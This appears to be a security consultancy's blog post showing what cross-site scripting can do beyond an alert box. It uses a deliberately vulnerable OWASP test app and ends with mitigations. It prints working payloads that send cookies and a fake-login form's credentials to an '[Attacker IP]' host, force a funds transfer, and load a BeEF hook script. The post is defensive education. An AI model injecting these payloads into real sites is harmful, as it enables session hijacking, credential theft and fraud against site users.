Cross-site scripting (XSS) is probably the most prevalent high risk web application vulnerability nowadays, and yet it is still one of the most overlooked by developers and defenders alike.
At Dionach we have experienced a few situations when reporting XSS in penetration test reports as a critical or high risk issue, and the client would come back and say “Ok, you managed to pop up an alert box in the browser, how’s that a risk at all for our customers?!?”. Although Dionach’s penetration test reports detail the risks associated with all vulnerabilities, a screenshot is worth a thousand words, therefore the alert box is what the client remembers from XSS.
Here we aim to give some practical examples of how attackers leverage XSS to launch devastating attacks leading to the full compromise of the web application or users’ computers and how to minimise the risk.
Cross-site scripting is a flaw that allows users to inject HTML or JavaScript code into a page enabling arbitrary input. There are two main variants of XSS, stored and reflected. Stored XSS allows an attacker to embed a malicious script into a vulnerable page, which is then executed when a victim views the page. Reflected cross-site scripting relies on a victim being socially engineered into clicking on a malicious link, sent via email for example.
To demonstrate the risks associated to XSS attacks, I used one of the deliberately vulnerable web applications (Cyclone) included in the OWASP Broken Web Applications suite. The web application simulates a money transfer website, having a stored XSS flaw in the page listing the users.
Account Hijacking
One of the most common XSS attack vectors is to hijack legitimate user accounts by stealing their session cookies. This allows attackers to impersonate victims and access any sensitive information or functionality on their behalf. Let’s dissect how this can be achieved.
An attacker can insert the following JavaScript code in the vulnerable field:
POST https://owaspbwa/cyclone/users/4/edit
<script> image = new Image(); image.src='https://[Attacker IP]:8080/?'+document.cookie; </script>
When the victim accesses the page containing the JavaScript payload, their browser will make a HTTP request to the attacker’s server. This can be seen in the following screenshot, where a simple Netcat listener was setup in order to steal the cookies:
All an attacker needs to do is to set the stolen cookies in their browser in order to impersonate the victim by taking over their session. Assuming a malicious user has managed to compromise an administrative account, the attacker could gain full control of the web application.
For the following sections let’s assume the sensitive cookies are protected by the “HttpOnly” flag. This will inform the browser that cookies cannot be accessed by client-side scripts. This may hinder attackers from hijacking accounts using this method, however, it is not sufficient to limit them from undertaking other means to attack the web application.
Stealing credentials
A practical attack vector for XSS is to use HTML and JavaScript in order to steal user credentials, instead of their cookies. This can be done by cloning the login page of the web application and then using the XSS vulnerability in order to serve it to the victims. The following HTML code simulates a login page, which sends the harvested credentials to the attacker’s server:
POST https://owaspbwa/cyclone/users/4/edit
<div style="position:absolute;top:50%;left:50%;margin: -100px 0 0 -100px;height=100px;width=100px;z-index:1;border-width:1px;border-style:solid; border-color:#D3D3D3"> <h3>Your session has timed out.</h3> <form action=https://[Attacker IP]> Username:<br><input type="text" name="user"><br> Password:<br><input type="password" name="pass"><br><br> <input type="submit" value="Logon"> </form> </div>
When a victim browses the vulnerable page, the login form is displayed, as shown in the following screenshot:
https://owaspbwa/cyclone/users
Similar to the example above, the credentials are forwarded to a server under the attacker’s control:
From an attacker perspective, this scenario is even more beneficial, since in the end they obtain plaintext credentials instead of ephemeral session cookies which may expire.
Sensitive Data
Another powerful attack vector for XSS is to use it in order to exfiltrate sensitive data (for example personal identifiable information or cardholder data) or to perform unauthorised operations, such as siphoning funds. The following example shows how it is possible to use the XMLHttpRequest object in order to force the victim to send money to another user of the web application:
POST https://owaspbwa/cyclone/users/4/edit
<script> var xhr = new XMLHttpRequest(); xhr.open('POST','https://owaspbwa/cyclone/transfers',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xhr.send('transfer[from]=5124834860&transfer[to_user_id]=48&transfer[amount]=300&commit=Transfer'); </script>
The screenshot below shows the confirmation the money transfer was successfully performed:
https://owaspbwa/cyclone/transfers
For web applications implementing anti cross-site request forgery (CSRF) tokens, XSS could also be used in order to gain access to this information either by reading the server responses or by accessing the anti-CSRF cookies. An attacker can use JavaScript in order to form valid HTTP requests and then, via social-engineering, force a victim to seamlessly perform unauthorised operations on their behalf.
Drive-by Downloads
Let’s now take the case of a simple website, which doesn’t hold any sensitive information, for example a company presentation website with static pages and a simple search function. If an attacker can use the website in order to gain control of an organisation’s client computers, it still represents a significant risk to the business.
Several exploitation frameworks are ready available, such as Browser Exploitation Framework (BeEF) or OWASP Xenotix XSS framework. They contain handy modules from information gathering (for example, listing the browser version and plugins) to social engineering, such as cloning a Facebook login page, plus many others. An attacker can use one of the BeEF modules allowing them to drop a payload, disguised as a fake plugin update. The following JavaScript payload can be used to hook the victim’s browser to the attacker’s servers:
POST https://owaspbwa/cyclone/users/4/edit
<script src="https://[Attacker IP]:3000/hook.js"></script>
When a victim would browse to the vulnerable page, the browser update notification is displayed:
https://owaspbwa/cyclone/users
Experience has shown us that social engineering attacks are one of the most effective attack vectors to fully take control of standalone computers or even entire internal domains. If the victim runs the fake installer the attacker will obtain a reverse shell with the victim’s privileges. This will most likely happen irrespective of whether there’s an antivirus solution in place or not.
Using XSS for drive-by attacks is probably the most common XSS exploitation scenario found in the wild. Attackers hunt for trusted websites vulnerable to XSS, where they can inject invisible iframes in order to serve the latest ransomware or Blackhole exploit kit.
Other attacks
Some other popular ways in which XSS could be weaponised include the following:
-
Keylogger: using JavaScript it is possible to log all key strokes that a user enters in a vulnerable page. Metasploit includes an off-the-shelf payload designated for this purpose, as shown in the proof of concept below. There are also some commercial web sites which offer JavaScript code that records the entire visitor movements, clicks, mobile gestures or form input, which can be used for malicious purposes.
-
Port scan: XSS is also an unexpected source to initiate port scans against the internal network of a client that accesses a vulnerable website. Similar to the example above, JavaScript can be injected to scan internal hosts and send the results to the attacking server.
-
Web site defacement: one of the simplest and yet effective ways for attackers to target businesses or government institutions is to change the visual appearance of a website vulnerable to XSS. Either using embarrassing images or hacktivism messages this can bring organisations to the spotlight for the wrong reasons. An example can be seen in the following screenshot:
Mitigations
In order to minimize the risks associated with XSS, developers should encode all fields when displaying them in the browser. Additionally, ensure that user input is properly filtered especially in the case of special characters. A common source of XSS are outdated third party libraries integrated in the code, and as such, update these to the latest stable versions. As part of a defence in depth strategy, ensure that cookie properties (such as HttpOnly) and security headers, especially CSP, are set accordingly.
On a higher level, ensure that security is properly integrated in all phases of the development process and that developers are aware of common web application vulnerabilities. Ultimately, regular penetration tests would help identify such flaws and improve the security stance of the web applications.
Conclusions
XSS is a versatile attack vector which opens the door to a large number of social-engineering and client-side attacks. As shown, it could be used to steal sensitive information, such as session tokens, user credentials or commercially valuable data, as well as to perform sensitive operations. Additionally, it can be the foothold an attacker needs in order to obtain access to a computer or even an internal network. For companies XSS can have serious implications from a reputational, legal and even financial point of view.
As security consultants, we should do our best to explain the risks. In the case of XSS and penetration test reports, it is likely a good time to move away from the traditional proof of concept alert box payload as it can be rather misleading for security stakeholders.